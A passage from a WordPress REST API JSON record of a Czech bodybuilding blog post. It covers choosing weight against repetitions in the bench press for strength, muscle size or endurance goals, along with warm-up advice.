hmoty. Bude to cht\u00edt tedy metodu pokus\u016f a omyl\u016f, abyste zjistili, jak\u00e1 z\u00e1t\u011b\u017e v\u00e1m nejv\u00edce vyhovuje u dan\u00e9ho cviku. Zde je p\u0159\u00edklad z\u00e1t\u011b\u017e vs. opakov\u00e1n\u00ed p\u0159i bench pressu: &nbsp; Z\u00e1t\u011b\u017e: 65 kg 70 kg 75 kg 77 kg 79 kg 83 kg 88 kg 92 kg Opakov\u00e1n\u00ed: 12 10 8 7 6 4 2 1 &nbsp; Jestli\u017ee m\u00e1te jasno ve sv\u00fdch c\u00edlech, pak z\u00a0t\u00e9to tabulky jasn\u011b ur\u010d\u00edte z\u00e1t\u011b\u017e: &#8211; kdo chce budovat s\u00edlu, nalo\u017e\u00ed si 79 kg a v\u00edce (tzn. provede \u0161est a m\u00e9n\u011b opakov\u00e1n\u00ed); &#8211; pro dosa\u017een\u00ed objem\u016f bude ide\u00e1ln\u00ed v\u00e1ha 65-79 kg (tzn. z\u00e1t\u011b\u017e pro 6-12 opakov\u00e1n\u00ed); &#8211; komu jde hlavn\u011b o vytrvalost, m\u011bl by vysta\u010dit se z\u00e1t\u011b\u017e\u00ed 55 kg a m\u00e9n\u011b. Mus\u00edte samoz\u0159ejm\u011b po\u010d\u00edtat s\u00a0t\u00edm, \u017ee jak va\u0161e s\u00edla poroste, bude se m\u011bnit i v\u00fdchoz\u00ed v\u00e1ha pro dan\u00fd po\u010det opakov\u00e1n\u00ed. Z\u00e1t\u011b\u017e tedy budete postupn\u011b navy\u0161ovat. Zku\u0161enosti a praxe povedou k\u00a0tomu, \u017ee sn\u00e1ze a rychleji odhadnete svoje mo\u017enosti a l\u00e9pe pocitov\u011b pozn\u00e1te, jak\u00e1 v\u00e1ha je pro v\u00e1s nejvhodn\u011bj\u0161\u00ed. Kdy\u017e si budete svoje v\u00fdkony zapisovat, z\u00edsk\u00e1te pot\u0159ebn\u00fd p\u0159ehled. Ur\u010dit\u011b d\u00e1v\u00e1 smysl v\u00e9st si tr\u00e9ninkov\u00fd den\u00edk. V\u017edy pamatujte na to, abyste se na za\u010d\u00e1tku tr\u00e9ninku d\u016fkladn\u011b rozcvi\u010dili, za\u0159a\u010fte zah\u0159\u00edvac\u00ed s\u00e9rie, jejich\u017e \u00fa\u010delem je proh\u0159\u00e1t svaly a klouby. Zah\u0159\u00edvac\u00ed s\u00e9rie nejsou nikdy prov\u00e1d\u011bny do vy\u010derp\u00e1n\u00ed, to by v\u00e1\u017en\u011b naru\u0161ilo nadch\u00e1zej\u00edc\u00ed v\u00fdkon. Z\u00e1t\u011b\u017e a po\u010det opakov\u00e1n\u00ed p\u0159izp\u016fsobte sv\u00fdm tr\u00e9ninkov\u00fdm c\u00edl\u016fm. &nbsp;<\/p>\n","protected":false},"author":2,"featured_media":499,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-498","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/498","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=498"}],"version-history":[{"count":3,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/498\/revisions"}],"predecessor-version":[{"id":503,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/498\/revisions\/503"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/499"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=498"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=498"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=498"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}